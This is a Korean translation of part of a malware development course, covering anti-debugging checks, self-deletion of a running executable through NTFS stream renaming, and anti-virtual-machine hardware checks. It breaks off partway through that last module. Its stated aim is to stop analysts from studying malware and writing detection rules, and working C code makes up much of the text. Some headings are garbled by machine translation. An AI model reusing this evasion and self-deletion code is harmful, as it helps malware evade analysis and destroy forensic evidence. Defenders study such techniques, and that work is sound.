Maldev Academy Part 8

목차


    71. 안티 디버깅 – 다양한 기법

    안티 디버깅 – 다양한 기법

    소개

    보안 연구원과 멀웨어 분석가는 디버깅을 사용하여 멀웨어 샘플에 대한 이해를 높일 수 있습니다. 이를 통해 이러한 샘플에 대한 더 나은 탐지 규칙을 작성할 수 있습니다. 멀웨어 개발자는 항상 안티 디버깅 기술로 무장하여 분석가의 시간을 절약할 수 있도록 해야 합니다.

    이 모듈에서는 몇 가지 안티 디버깅 기술에 대해 설명합니다.

    IsDebuggerPresent를 통해 디버거 감지하기

    가장 손쉬운 디버깅 방지 기술 중 하나는 IsDebuggerPresent WinAPI를 사용하는 것입니다. 이 함수는 호출하는 프로세스에 디버거가 첨부되어 있으면 TRUE를 반환하고, 첨부되어 있지 않으면 FALSE를 반환합니다. 다음 코드 조각은 디버거를 감지하는 함수를 보여줍니다.

    if (IsDebuggerPresent()) {
      printf("[i] IsDebuggerPresent detected a debugger \n");
      // Run harmless code..
    }

    IsDebugger현재 교체 (1)

    API 해싱을 통해 잘 숨겨져 있더라도 IsDebuggerPresent WinAPI를 호출하는 것은 의심스러운 일입니다. WinAPI는 디버거를 탐지하기 위한 매우 기본적인 접근 방식으로 간주되며, xdbg용 안티 디버거 플러그인인 ScyllaHide와 같은 도구를 사용하여 우회할 수 있습니다.

    더 나은 접근 방식은 사용자 지정 버전의 IsDebuggerPresent WinAPI를 만드는 것입니다. 프로세스가 디버깅 중일 때 1로 설정된 BeingDebugged 멤버가 있는 PEB 구조를 보여주는 Windows Processes – 초급 모듈을 기억해 보세요. 아래의 사용자 지정 함수에 표시된 대로 BeingDebugged 값을 확인하면 간단히 IsDebuggerPresent WinAPI를 대체할 수 있습니다.

    IsDebuggerPresent2 함수는 BeingDebugged 요소가 1로 설정된 경우 TRUE를 반환합니다.

    BOOL IsDebuggerPresent2() {
    
      // getting the PEB structure
    #ifdef _WIN64
    	PPEB					pPeb = (PEB*)(__readgsqword(0x60));
    #elif _WIN32
    	PPEB					pPeb = (PEB*)(__readfsdword(0x30));
    #endif// checking the 'BeingDebugged' element
      if (pPeb->BeingDebugged == 1)
        return TRUE;
    
       return FALSE;
    }
    

    IsDebugger현재 교체 (2)

    IsDebuggerPresent WinAPI의 사용자 지정 버전을 만드는 또 다른 방법은 PEB 구조체 내에 있는 문서화되지 않은 NtGlobalFlag 플래그를 활용하는 것입니다. 프로세스가 디버깅 중인 경우 NtGlobalFlag 멤버는 0x70 (16진수)으로 설정되며, 그렇지 않은 경우 0이 됩니다. 따라서 이 메서드는 실행 후 디버거가 어태치된 경우 디버거를 감지하는 데 실패합니다.

    0x70 값은 다음 플래그의 조합에서 파생됩니다:

    • FLG_HEAP_ENABLE_TAIL_CHECK – 0x10
    • FLG_HEAP_ENABLE_FREE_CHECK – 0x20
    • FLG_HEAP_VALIDATE_PARAMETERS – 0x40

    NtGlobalFlag 요소가 0x70으로 설정된 경우 IsDebuggerPresent3 함수는 TRUE를 반환합니다.

    #define FLG_HEAP_ENABLE_TAIL_CHECK   0x10#define FLG_HEAP_ENABLE_FREE_CHECK   0x20#define FLG_HEAP_VALIDATE_PARAMETERS 0x40
    
    BOOL IsDebuggerPresent3() {
    
      // getting the PEB structure
    #ifdef _WIN64
    	PPEB					pPeb = (PEB*)(__readgsqword(0x60));
    #elif _WIN32
    	PPEB					pPeb = (PEB*)(__readfsdword(0x30));
    #endif// checking the 'NtGlobalFlag' element
      if (pPeb->NtGlobalFlag == (FLG_HEAP_ENABLE_TAIL_CHECK | FLG_HEAP_ENABLE_FREE_CHECK | FLG_HEAP_VALIDATE_PARAMETERS))
        return TRUE;
    
      return FALSE;
    }

    NtQueryInformationProcess를 통해 디버거 감지하기

    NtQueryInformationProcess 시스콜은 두 개의 플래그인 ProcessDebugPort와 ProcessDebugObjectHandle을 통해 디버거를 감지하는 데 사용됩니다.

    NtQueryInformationProcess는 다음과 같이 보입니다.

    NTSTATUS NtQueryInformationProcess(
      IN    HANDLE           ProcessHandle,               // Process handle for which information is to be retrieved.
      IN    PROCESSINFOCLASS ProcessInformationClass,     // Type of process information to be retrieved
      OUT   PVOID            ProcessInformation,          // Pointer to the buffer into which the function writes the requested information
      IN    ULONG            ProcessInformationLength,    // The size of the buffer pointed to by the 'ProcessInformation' parameter
      OUT   PULONG           ReturnLength                 // Pointer to a variable in which the function returns the size of the requested information
    );

    프로세스 디버그 포트 플래그

    ProcessDebugPort 플래그에 대한 Microsoft의 문서에는 다음과 같이 설명되어 있습니다:

    프로세스에 대한 디버거의 포트 번호인 DWORD_PTR 값을 검색합니다. 0이 아닌 값은 프로세스가 링 3 디버거의 제어하에 실행되고 있음을 나타냅니다.

    즉, NtQueryInformationProcess가 ProcessInformation 매개 변수에 의해 수신된 0이 아닌 값을 반환하면 프로세스가 활발하게 디버깅되고 있는 것입니다.

    프로세스 디버그 오브젝트 핸들 플래그

    문서화되지 않은 플래그인 ProcessDebugObjectHandle은 이전의 ProcessDebugPort 플래그처럼 작동하며 프로세스가 디버깅 중인 경우 생성되는 현재 프로세스의 디버그 객체 핸들에 대한 핸들을 가져오는 데 사용됩니다. ProcessInformation 매개변수가 NtQueryInformationProcess를 통해 얻은 0이 아닌 값은 프로세스의 활성 디버깅을 의미합니다.

    NtQueryInformationProcess가 디버그 객체 핸들을 검색하지 못하는 경우 디버거를 감지하지 못했음을 의미하며 오류 코드 0xC0000353을 반환합니다. Microsoft의 NTSTATUS 값에 대한 설명서에 따르면 이 오류 코드는 STATUS_PORT_NOT_SET에 해당합니다.

    NtQuery정보프로세스 디버깅 방지 코드

    NtQIPDebuggerCheck 함수는 ProcessInformation과 ProcessDebugObjectHandle을 모두 사용하여 디버거를 감지합니다. 이 함수는 NtQueryInformationProcess가 ProcessDebugPort 및 ProcessDebugObjectHandle 플래그를 모두 사용하여 유효한 핸들을 반환하는 경우 TRUE를 반환합니다.

    BOOL NtQIPDebuggerCheck() {
    
    	NTSTATUS                      STATUS                        = NULL;
    	fnNtQueryInformationProcess   pNtQueryInformationProcess    = NULL;
    	DWORD64                       dwIsDebuggerPresent           = NULL;
    	DWORD64                       hProcessDebugObject           = NULL;
    
    	// Getting NtQueryInformationProcess address
    	pNtQueryInformationProcess = (fnNtQueryInformationProcess)GetProcAddress(GetModuleHandle(TEXT("NTDLL.DLL")), "NtQueryInformationProcess");
    	if (pNtQueryInformationProcess == NULL) {
    		printf("\t[!] GetProcAddress Failed With Error : %d \n", GetLastError());
    		return FALSE;
    	}
    
    	// Calling NtQueryInformationProcess with the 'ProcessDebugPort' flag
    	STATUS = pNtQueryInformationProcess(
    		GetCurrentProcess(),
    		ProcessDebugPort,
    		&dwIsDebuggerPresent,
    		sizeof(DWORD64),
    		NULL
    	);
    
    	if (STATUS != 0x0) {
    		printf("\t[!] NtQueryInformationProcess [1] Failed With Status : 0x%0.8X \n", STATUS);
    		return FALSE;
    	}
    
    	// If NtQueryInformationProcess returned a non-zero value, the handle is valid, which means we are being debugged
    	if (dwIsDebuggerPresent != NULL) {
            // detected a debugger
    		return TRUE;
    	}
    
    	// Calling NtQueryInformationProcess with the 'ProcessDebugObjectHandle' flag
    	STATUS = pNtQueryInformationProcess(
    		GetCurrentProcess(),
    		ProcessDebugObjectHandle,
    		&hProcessDebugObject,
    		sizeof(DWORD64),
    		NULL
    	);
    
    	// If STATUS is not 0 and not 0xC0000353 (that is 'STATUS_PORT_NOT_SET')
    	if (STATUS != 0x0 && STATUS != 0xC0000353) {
    		printf("\t[!] NtQueryInformationProcess [2] Failed With Status : 0x%0.8X \n", STATUS);
    		return FALSE;
    	}
    
    	// If NtQueryInformationProcess returned a non-zero value, the handle is valid, which means we are being debugged
    	if (hProcessDebugObject != NULL) {
            // detected a debugger
    		return TRUE;
    	}
    
    	return FALSE;
    }

    하드웨어 중단점을 통해 디버거 감지하기

    이 방법은 디버깅 중에 하드웨어 중단점이 설정된 경우에만 유효합니다. 하드웨어 중단점은 하드웨어 디버그 레지스터라고도 하며, 특정 메모리 주소나 이벤트가 트리거될 때 프로세스의 실행을 일시 중지하는 최신 마이크로프로세서의 기능입니다. 하드웨어 중단점은 프로세서 자체에서 구현되므로 운영 체제나 디버거에 의존하여 프로그램 실행을 주기적으로 확인하는 일반 소프트웨어 중단점보다 더 빠르고 효율적입니다.

    하드웨어 중단점이 설정되면 특정 레지스터의 값이 변경됩니다. 이러한 레지스터의 값은 프로세스에 디버거가 연결되어 있는지 확인하는 데 사용할 수 있습니다. Dr0Dr1Dr2 및 Dr3 레지스터에 0이 아닌 값이 포함되어 있으면 하드웨어 중단점이 설정됩니다. 다음 예제에서는 xdbg 디버거를 사용하여 NtAllocateVirtualMemory syscall에 하드웨어 중단점을 설정합니다. Dr0의 값이 0에서 NtAllocateVirtualMemory의주소로 어떻게 변경되는지 주목하세요.

    레지스터 값 검색하기

    Dr 레지스터의 값을 검색하려면 GetThreadContext WinAPI를 사용할 수 있습니다. 스레드 하이재킹 모듈에서 특정 스레드의 컨텍스트를 검색하는 데 사용된 GetThreadContext의 사용법을 기억해 보세요. 컨텍스트는 CONTEXT 구조체로 반환되었습니다. 이 구조체에는 Dr0Dr1Dr2 및 Dr3 레지스터의 값도 포함됩니다.

    HardwareBpCheck 함수는 앞서 언급한 레지스터의 값을 확인하여 디버거의 존재를 감지합니다. 디버거가 감지되면 이 함수는 TRUE를반환합니다.

    BOOL HardwareBpCheck() {
    
    	CONTEXT		Ctx		= { .ContextFlags = CONTEXT_DEBUG_REGISTERS };
    
    	if (!GetThreadContext(GetCurrentThread(), &Ctx)) {
    		printf("\t[!] GetThreadContext Failed With Error : %d \n", GetLastError());
    		return FALSE;
    	}
    
    	if (Ctx.Dr0 != NULL || Ctx.Dr1 != NULL || Ctx.Dr2 != NULL || Ctx.Dr3 != NULL)
    		return TRUE; // Detected a debugger
    
    	return FALSE;
    }

    블랙리스트 배열을 통해 디버거 감지하기

    디버깅 프로세스를 감지하는 또 다른 방법은 현재 실행 중인 프로세스의 이름을 알려진 디버거 이름 목록과 비교하여 확인하는 것입니다. 이 이름의 “블랙리스트”는 하드코딩된 배열에 저장됩니다. 프로세스 이름과 블랙리스트가 일치하는 항목이 발견되면 디버거 애플리케이션이 시스템에서 실행 중인 것입니다.

    머신에서 실행 중인 프로세스를 열거하는 방법은 앞서 설명한 기법 중 하나를 사용할 수 있습니다. 이 시나리오에서는 CreateToolhelp32Snapshot 프로세스 열거 기법이 사용됩니다.

    사용된 블랙리스트 배열은 다음과 같이 표시됩니다.

    #define BLACKLISTARRAY_SIZE 5 // Number of elements inside the array
    
    WCHAR* g_BlackListedDebuggers[BLACKLISTARRAY_SIZE] = {
    		L"x64dbg.exe",                 // xdbg debugger
    		L"ida.exe",                    // IDA disassembler
    		L"ida64.exe",                  // IDA disassembler
    		L"VsDebugConsole.exe",         // Visual Studio debugger
    		L"msvsmon.exe"                 // Visual Studio debugger
    };

    광범위한 디버거를 감지하려면 블랙리스트 배열에 가능한 한 많은 디버거 이름을 포함해야 합니다. 또한 바이너리의 디버거 이름이 IoC로 사용될 수 있으므로 문자열 해싱을 통해 문자열을 난독화해야 합니다.

    BlackListedProcessesCheck 함수는 블랙리스트 프로세스 배열로 g_BlackListedDebuggers 배열을 사용합니다. 프로세스 이름이 g_BlackListedDebuggers의 요소와 일치하는 경우 TRUE를 반환합니다.

    BOOL BlackListedProcessesCheck() {
    
    	HANDLE				hSnapShot		= NULL;
    	PROCESSENTRY32W		ProcEntry		= { .dwSize = sizeof(PROCESSENTRY32W) };
    	BOOL				bSTATE			= FALSE;
    
    
    	hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
    	if (hSnapShot == INVALID_HANDLE_VALUE) {
    		printf("\t[!] CreateToolhelp32Snapshot Failed With Error : %d \n", GetLastError());
    		goto _EndOfFunction;
    	}
    
    	if (!Process32FirstW(hSnapShot, &ProcEntry)) {
    		printf("\t[!] Process32FirstW Failed With Error : %d \n", GetLastError());
    		goto _EndOfFunction;
    	}
    
    	do {
    		// Loops through the 'g_BlackListedDebuggers' array and comparing each element to the
    		// Current process name captured from the snapshot
    		for (int i = 0; i < BLACKLISTARRAY_SIZE; i++){
    			if (wcscmp(ProcEntry.szExeFile, g_BlackListedDebuggers[i]) == 0) {
    				// Debugger detected
    				wprintf(L"\t[i] Found \"%s\" Of Pid : %d \n", ProcEntry.szExeFile, ProcEntry.th32ProcessID);
    				bSTATE = TRUE;
    				break;
    			}
    		}
    
    	} while (Process32Next(hSnapShot, &ProcEntry));
    
    
    _EndOfFunction:
    	if (hSnapShot != NULL)
    		CloseHandle(hSnapShot);
    	return bSTATE;
    }

    GetTickCount64를 통한 중단점 감지

    중단점은 특정 지점에서 프로그램 실행을 일시 중지하여 메모리, 레지스터 상태, 변수 등을 검사할 수 있도록 하는 데 사용됩니다.

    실행 일시 중지는 GetTickCount64 WinAPI를 사용하여 감지할 수 있습니다. 이 함수는 시스템이 시작된 후 경과한 시간(밀리초)을 검색합니다. 두 개의 GetTickCount64 사이에 프로세서가 걸린 시간을 분석하면 멀웨어가 디버깅 중인지 여부를 알 수 있습니다. 시간이 예상보다 오래 걸렸다면 멀웨어가 디버깅 중이라고 가정하는 것이 안전합니다.

    지연 감지

    중단점은 T1 – T0의 평균을 계산하여 하드코딩된 값으로 저장함으로써 감지할 수 있습니다. T1 – T0의 출력이 이 값을 초과하면 중단점으로 인해 지연이 발생했을 가능성이 높습니다. 예를 들어 호스트 머신에서 T1 – T0의 출력이 20초인데 런타임 중에 이보다 더 큰 출력이 나온다면 이 두 지점 사이의 지연이 중단점으로 인해 발생했을 가능성이 높습니다. 느려질 수 있는 프로세서를 고려하여 원래 값을 약간 늘려야 합니다.

    GetTickCount64 안티 디버깅 코드

    TimeTickCheck1 함수는 설명한 접근 방식을 사용하여 중단점을 감지합니다. 이 함수는 dwTime2 - dwTime1이 그 사이에 있는 실행 코드의 평균값인 50을 초과하는 경우 TRUE를 반환합니다.

    BOOL TimeTickCheck1() {
    
    	DWORD	dwTime1		= NULL,
    		    dwTime2		= NULL;
    
    	dwTime1 = GetTickCount64();
    
    /*
    		OTHER CODE
    */
    
    	dwTime2 = GetTickCount64();
    
    	printf("\t[i] (dwTime2 - dwTime1) : %d \n", (dwTime2 - dwTime1));
    
    	if ((dwTime2 - dwTime1) > 50) {
    		return TRUE;
    	}
    
    	return FALSE;
    }

    쿼리 성능 카운터를 통한 중단점 탐지

    QueryPerformanceCounter WinAPI는 이전에 표시된 GetTickCount64 WinAPI와 동일합니다. 차이점은 QueryPerformanceCounter는 나노초 단위로 시간을 측정할 수 있는 하드웨어에서 제공하는 고해상도 성능 카운터를 사용하는 반면, GetTickCount64는 밀리초 단위로 증가하는 시간 카운터를 사용한다는 점입니다. QueryPerformanceCounter는 성능 카운터 값을 밀리초가 아닌 카운트 단위로 검색한다는 점에 유의하세요.

    TimeTickCheck2 함수는 QueryPerformanceCounter WinAPI를 사용하여 중단점을 감지합니다. Time2.QuadPart - Time1.QuadPart가 그 사이에 있는 실행 코드의 평균값인 100,000회를 초과하면 TRUE를 반환합니다.

    BOOL TimeTickCheck2() {
    
    	LARGE_INTEGER	Time1	= { 0 },
    			        Time2	= { 0 };
    
    	if (!QueryPerformanceCounter(&Time1)) {
    		printf("\t[!] QueryPerformanceCounter [1] Failed With Error : %d \n", GetLastError());
    		return FALSE;
    	}
    
    /*
    		OTHER CODE
    */
    
    	if (!QueryPerformanceCounter(&Time2)) {
    		printf("\t[!] QueryPerformanceCounter [2] Failed With Error : %d \n", GetLastError());
    		return FALSE;
    	}
    
    	printf("\t[i] (Time2.QuadPart - Time1.QuadPart) : %d \n", (Time2.QuadPart - Time1.QuadPart));
    
    	if ((Time2.QuadPart - Time1.QuadPart) > 100000){
    		return TRUE;
    	}
    
    	return FALSE;
    }

    디버그브레이크를 통해 디버거 감지하기

    DebugBreak는 현재 프로세스에서 중단점 예외인 예외_브레이크포인트가 발생하도록 합니다. 이 예외는 현재 프로세스에 연결되어 있는 경우 디버거가 처리해야 합니다. 이 기술은 예외를 트리거하고 디버거가 이 예외를 처리하려고 시도하는지 확인하는 것입니다.

    시도 및 __except 코드 블록은 DebugBreak 호출에서 예외를 처리하는 데 사용되며, GetExceptionCode 호출은 생성된 예외 코드를 가져오는 데 사용되며, 이 경우 두 가지 가능한 시나리오가 있습니다:

    1. 가져온 예외가 예외_브레이크포인트이고 예외_EXECUTE_HANDLER가 실행되면 디버거에서 예외가 처리되지 않았음을 의미합니다.
    2. 예외가 EXCEPTION_BREAKPOINT가 아닌 경우, 즉 디버거가 발생된 예외를 처리한 경우(시도 예외 코드 블록이 아닌)에는 EXCEPTION_CONTINUE_SEARCH가 실행되어 디버거가 발생된 예외를 처리할 책임이 있습니다.

    다음 DebugBreakCheck 함수는 DebugBreak WinAPI가 성공적으로 실행되었지만 예외가 디버거에 의해 포착/처리되지 않고 시도 예외 코드 블록에서 처리되는 경우 FALSE를 반환하며, 이는 현재 프로세스에 디버거가 연결되어 있지 않음을 나타냅니다.

    BOOL DebugBreakCheck() {
    
    	__try {
    		DebugBreak();
    	}
    	__except (GetExceptionCode() == EXCEPTION_BREAKPOINT ? EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH) {
    		// if the exception is equal to EXCEPTION_BREAKPOINT, EXCEPTION_EXECUTE_HANDLER is executed and the function return FALSE
    		return FALSE;
    	}
    
    	// if the exception is not equal to EXCEPTION_BREAKPOINT, EXCEPTION_CONTINUE_SEARCH is executed and the function return TRUE
    	return TRUE;
    }

    출력 디버그 스트링을 통해 디버거 감지하기

    디버거를 감지하는 데 활용할 수 있는 또 다른 WinAPI는 출력 디버그 문자열입니다. 이 함수는 디버거에 표시할 문자열을 전송하는 데 사용됩니다. 디버거가 존재하면 OutputDebugString이 작업을 성공적으로 수행합니다.

    출력 디버그 문자열을 실행하고 GetLastError를 사용하여 실패했는지 확인할 수 있으며, 실패한 경우 GetLastError는 0이 아닌 오류 코드를 반환합니다. 이 경우 0이 아닌 오류 코드는 디버거가 존재하지 않는다는 의미입니다. GetLastError가 0을 반환하면 출력 디버그 스트링이 디버거로 문자열을 전송하는 데 성공한 것입니다.

    출력 디버그 문자열 검사 함수는 위의 로직을 사용하며 출력 디버그 문자열이 성공하면 TRUE를 반환합니다. 또한 SetLastError를 사용하여 마지막 오류 값을 1로 설정합니다. 이는 오탐을 줄이기 위해 출력 디버그 문자열을 호출하기 전에 0이 아닌 값인지 확인하기 위한 것입니다.

    BOOL OutputDebugStringCheck() {
    
    	SetLastError(1);
    	OutputDebugStringW(L"MalDev Academy");
    
    	// if GetLastError is 0, then OutputDebugStringW succeeded
    	if (GetLastError() == 0) {
    		return TRUE;
    	}
    
    	return FALSE;
    }

    72. 디버깅 방지 – 자체 삭제

    디버깅 방지 – 자동 삭제

    소개

    이전 모듈에서는 연구자와 멀웨어 분석가가 멀웨어를 검사하는 것을 방해하고 기능을 이해하거나 시그니처를 생성하지 못하도록 하는 여러 가지 기법에 대해 설명했습니다. 이 모듈에서는 멀웨어가 스스로 삭제되도록 만드는 고급 안티디버깅 기법을 다룹니다.

    NTFS 파일 시스템

    자동 삭제에 대해 자세히 알아보기 전에 NTFS(신기술 파일 시스템)의 작동 방식을 이해하는 것이 중요합니다. NTFS는 Windows 운영 체제의 기본 파일 시스템으로 구현된 독점 파일 시스템입니다. 파일 및 폴더 권한, 압축, 암호화, 하드 링크, 심볼릭 링크, 트랜잭션 작업과 같은 기능을 제공함으로써 이전 버전인 FAT 및 exFAT를 뛰어넘습니다. 또한 NTFS는 향상된 안정성, 성능, 확장성을 제공합니다.

    NTFS 파일 시스템은 대체 데이터 스트림도 지원합니다. NTFS 파일 시스템의 파일에는 기본 스트림인 :$DATA 외에도 여러 개의 데이터 스트림이 있을 수 있습니다. 모든 파일에 대해 :$DATA가 존재하여 파일에 액세스할 수 있는 대체 수단을 제공합니다.

    실행 중인 바이너리 삭제하기

    일반적으로 파일을 삭제하려면 다른 프로세스가 해당 파일을 사용하지 않아야 하므로 Windows에서는 현재 실행 중인 프로세스의 바이너리를 삭제할 수 없습니다. 아래 이미지는 해당 폴더에 파일이 열려 있는 상태에서 ‘Release’ 폴더를 삭제하려고 시도했지만 실패한 경우를 보여줍니다.

    또 다른 예는 기존 파일을 삭제하는 DeleteFile WinAPI를 사용하여 보여줍니다. DeleteFile WinAPI는 ERROR_ACCESS_DENIED 오류와 함께 실패합니다.

    이 문제를 해결하는 한 가지 방법은 기본 데이터 스트림 :$DATA의 이름을 새 데이터 스트림을 나타내는 다른 임의의 이름으로 변경하는 것입니다. 그런 다음 새로 이름이 바뀐 데이터 스트림을 삭제하면 실행 중인 상태에서도 바이너리가 디스크에서 지워집니다.

    파일 핸들 검색

    프로세스의 첫 번째 단계는 로컬 구현의 파일인 대상 파일의 핸들을 검색하는 것입니다. 파일 핸들은 CreateFile WinAPI를 사용하여 검색할 수 있습니다. 파일 삭제 권한을 제공하려면 액세스 플래그를 DELETE로 설정해야 합니다.

    데이터 스트림 이름 바꾸기

    실행 중인 바이너리 파일을 삭제하는 다음 단계는 :$DATA 데이터 스트림의 이름을 바꾸는 것입니다. 이 작업은 FileRenameInfo 플래그와 함께 SetFileInformationByHandle WinAPI를 사용하여 수행할 수 있습니다.

    SetFileInformationByHandle WinAPI 함수는 아래와 같습니다.

    BOOL SetFileInformationByHandle(
      [in] HANDLE                    hFile,                       // Handle to the file for which to change information.
      [in] FILE_INFO_BY_HANDLE_CLASS FileInformationClass,        // Flag value that specifies the type of information to be changed
      [in] LPVOID                    lpFileInformation,           // Pointer to the buffer that contains the information to change for
      [in] DWORD                     dwBufferSize                 // The size of 'lpFileInformation' buffer in bytes
    );

    FileInformationClass 매개변수는 FILE_INFO_BY_HANDLE_CLASS 열거형 값이어야 합니다.

    FileInformationClass 매개 변수가 FileRenameInfo로 설정된 경우 lpFileInformation은 다음 이미지와 같이 FILE_RENAME_INFO 구조에 대한 포인터여야 하며, Microsoft는 이를 다음과 같이 언급하고 있습니다.

    파일 이름 변경 정보 구조

    FILE_RENAME_INFO 구조는 아래와 같습니다.

    typedef struct _FILE_RENAME_INFO {
      union {
        BOOLEAN ReplaceIfExists;
        DWORD   Flags;
      } DUMMYUNIONNAME;
      BOOLEAN ReplaceIfExists;
      HANDLE  RootDirectory;
      DWORD   FileNameLength;   // The size of 'FileName' in bytes
      WCHAR   FileName[1];      // The new name
    } FILE_RENAME_INFO, *PFILE_RENAME_INFO;

    설정해야 하는 두 멤버는 FileNameLength와 FileName입니다. Microsoft의 문서에서 새 NTFS 파일 스트림 이름을 정의하는 방법을 설명합니다.

    따라서 FileName은 콜론(:)으로 시작하는 와이드 문자 문자열이어야 합니다.

    데이터 스트림 삭제

    마지막 단계는 :$DATA 스트림을 삭제하여 디스크에서 파일을 지우는 것입니다. 이를 위해 다른 플래그인 FileDispositionInfo와 함께 동일한 SetFileInformationByHandle WinAPI가 사용됩니다. 이 플래그는 핸들이 닫힐 때 파일을 삭제 대상으로 표시합니다. 이 플래그는 Microsoft가 예제 섹션에서 사용하는 플래그입니다.

    FileDispositionInfo 플래그를 사용하는 경우 lpFileInformation은 다음 이미지와 같이 FILE_DISPOSITION_INFO 구조에 대한 포인터여야 하며, Microsoft는 이를 다음과 같이 언급하고 있습니다.

    FILE_DISPOSITION_INFO 구조는 아래와 같습니다.

    typedef struct _FILE_DISPOSITION_INFO {
      BOOLEAN DeleteFile;       // Set to 'TRUE' to mark the file for deletion
    } FILE_DISPOSITION_INFO, *PFILE_DISPOSITION_INFO;

    파일을 삭제하려면 DeleteFile 멤버를 TRUE로 설정하기만 하면 됩니다.

    파일 데이터 스트림 새로 고침

    파일의 NTFS 파일 스트림의 이름을 바꾸기 위해 처음으로 SetFileInformationByHandle을 호출한 후에는 파일 핸들을 닫았다가 다른 CreateFile 호출로 다시 열어야 합니다. 이렇게 하면 파일 데이터 스트림을 새로 고쳐 새 핸들에 새 데이터 스트림이 포함되도록 할 수 있습니다.

    자동 삭제 최종 코드

    아래에 표시된 DeleteSelf 함수는 설명된 프로세스를 사용하여 디스크가 실행되는 동안 디스크에서 파일을 삭제합니다.

    아래 코드 스니펫의 모든 내용은 GetModuleFileNameW WinAPI를 제외하고는 이전에 설명한 내용입니다. 이 함수는 지정된 모듈이 포함된 파일의 경로를 검색하는 데 사용됩니다. 아래 코드 조각에서와 같이 첫 번째 매개 변수가 NULL로 설정되어 있으면 현재 프로세스의 실행 파일 경로를 검색합니다.

    // The new data stream name
    #define NEW_STREAM L":Maldev"
    
    
    BOOL DeleteSelf() {
    
    
    	WCHAR                       szPath [MAX_PATH * 2] = { 0 };
    	FILE_DISPOSITION_INFO       Delete                = { 0 };
    	HANDLE                      hFile                 = INVALID_HANDLE_VALUE;
    	PFILE_RENAME_INFO           pRename               = NULL;
    	const wchar_t*              NewStream             = (const wchar_t*)NEW_STREAM;
    	SIZE_T                      sRename               = sizeof(FILE_RENAME_INFO) + sizeof(NewStream);
    
    
        // Allocating enough buffer for the 'FILE_RENAME_INFO' structure
    	pRename = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sRename);
    	if (!pRename) {
    		printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
    		return FALSE;
    	}
    
        // Cleaning up some structures
    	ZeroMemory(szPath, sizeof(szPath));
    	ZeroMemory(&Delete, sizeof(FILE_DISPOSITION_INFO));
    
    	//----------------------------------------------------------------------------------------
        // Marking the file for deletion (used in the 2nd SetFileInformationByHandle call)
    	Delete.DeleteFile = TRUE;
    
        // Setting the new data stream name buffer and size in the 'FILE_RENAME_INFO' structure
    	pRename->FileNameLength = sizeof(NewStream);
    	RtlCopyMemory(pRename->FileName, NewStream, sizeof(NewStream));
    
    	//----------------------------------------------------------------------------------------
    
        // Used to get the current file name
    	if (GetModuleFileNameW(NULL, szPath, MAX_PATH * 2) == 0) {
    		printf("[!] GetModuleFileNameW Failed With Error : %d \n", GetLastError());
    		return FALSE;
    	}
    
    	//----------------------------------------------------------------------------------------
        // RENAMING
    
        // Opening a handle to the current file
    	hFile = CreateFileW(szPath, DELETE | SYNCHRONIZE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
    	if (hFile == INVALID_HANDLE_VALUE) {
    		printf("[!] CreateFileW [R] Failed With Error : %d \n", GetLastError());
    		return FALSE;
    	}
    
    	wprintf(L"[i] Renaming :$DATA to %s  ...", NEW_STREAM);
    
        // Renaming the data stream
    	if (!SetFileInformationByHandle(hFile, FileRenameInfo, pRename, sRename)) {
    		printf("[!] SetFileInformationByHandle [R] Failed With Error : %d \n", GetLastError());
    		return FALSE;
    	}
    	wprintf(L"[+] DONE \n");
    
    	CloseHandle(hFile);
    
    	//----------------------------------------------------------------------------------------
        // DELEING
    
        // Opening a new handle to the current file
    	hFile = CreateFileW(szPath, DELETE | SYNCHRONIZE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
    	if (hFile == INVALID_HANDLE_VALUE) {
    		printf("[!] CreateFileW [D] Failed With Error : %d \n", GetLastError());
    		return FALSE;
    	}
    
    	wprintf(L"[i] DELETING ...");
    
        // Marking for deletion after the file's handle is closed
    	if (!SetFileInformationByHandle(hFile, FileDispositionInfo, &Delete, sizeof(Delete))) {
    		printf("[!] SetFileInformationByHandle [D] Failed With Error : %d \n", GetLastError());
    		return FALSE;
    	}
    	wprintf(L"[+] DONE \n");
    
    	CloseHandle(hFile);
    
    	//----------------------------------------------------------------------------------------
    
        // Freeing the allocated buffer
    	HeapFree(GetProcessHeap(), 0, pRename);
    
    	return TRUE;
    }

    데모

    아래 이미지는 디스크에서 바이너리 파일이 지워졌지만 SelfDeletion.exe 프로세스가 실행되고 있는 모습을 보여줍니다.


    73. 안티-가상 환경 – 다양한 기법

    안티-가상 환경 – 다양한 기법

    소개

    안티 가상화는 이전 모듈에서 이미 소개한 바 있습니다. 이 모듈에서는 안티 가상 환경(AVE) 기술을 살펴봅니다.

    하드웨어 사양을 통한 가상화 방지

    일반적으로 가상화 환경에서는 호스트 컴퓨터의 하드웨어에 대한 전체 액세스 권한이 없습니다. 하드웨어에 대한 전체 액세스 권한이 없다는 점은 멀웨어가 가상 환경이나 샌드박스 내에서 실행되고 있는지 감지하는 데 사용될 수 있습니다. 머신이 단순히 낮은 하드웨어 사양으로 실행되고 있을 수 있으므로 완전한 정확성을 보장할 수 없다는 점에 유의하세요. 검사할 하드웨어 사양은 다음과 같습니다:

    • CPU – 프로세서 수가 2개 미만인지 확인합니다.
    • RAM – 2기가바이트 미만인지 확인합니다.
    • 이전에 장착된 USB 수 – USB가 2개 미만인지 확인합니다.

    CPU 확인

    CPU 확인은 GetSystemInfo WinAPI를 사용하여 수행할 수 있습니다. 이 함수는 프로세서 수를 포함하여 시스템에 대한 정보가 포함된 SYSTEM_INFO 구조를 반환합니다.

      SYSTEM_INFO   SysInfo   = { 0 };
    
      GetSystemInfo(&SysInfo);
      if (SysInfo.dwNumberOfProcessors < 2){
        // possibly a virtualized environment
      }

    RAM 확인

    RAM 저장소 확인은 GlobalMemoryStatusEx WinAPI를 통해 수행할 수 있습니다. 이 함수는 시스템의 실제 메모리 및 가상 메모리의 현재 상태에 대한 정보가 포함된 MEMORYSTATUSEX 구조를 반환합니다. RAM 저장소는 ullTotalPhys 멤버를 통해 확인할 수 있습니다. 여기에는 현재 물리적 메모리의 양이 바이트 단위로 포함됩니다.

      MEMORYSTATUSEX MemStatus = { .dwLength = sizeof(MEMORYSTATUSEX) };
    
      if (!GlobalMemoryStatusEx(&MemStatus)) {
        printf("\n\t[!] GlobalMemoryStatusEx Failed With Error : %d \n", GetLastError());
      }
    
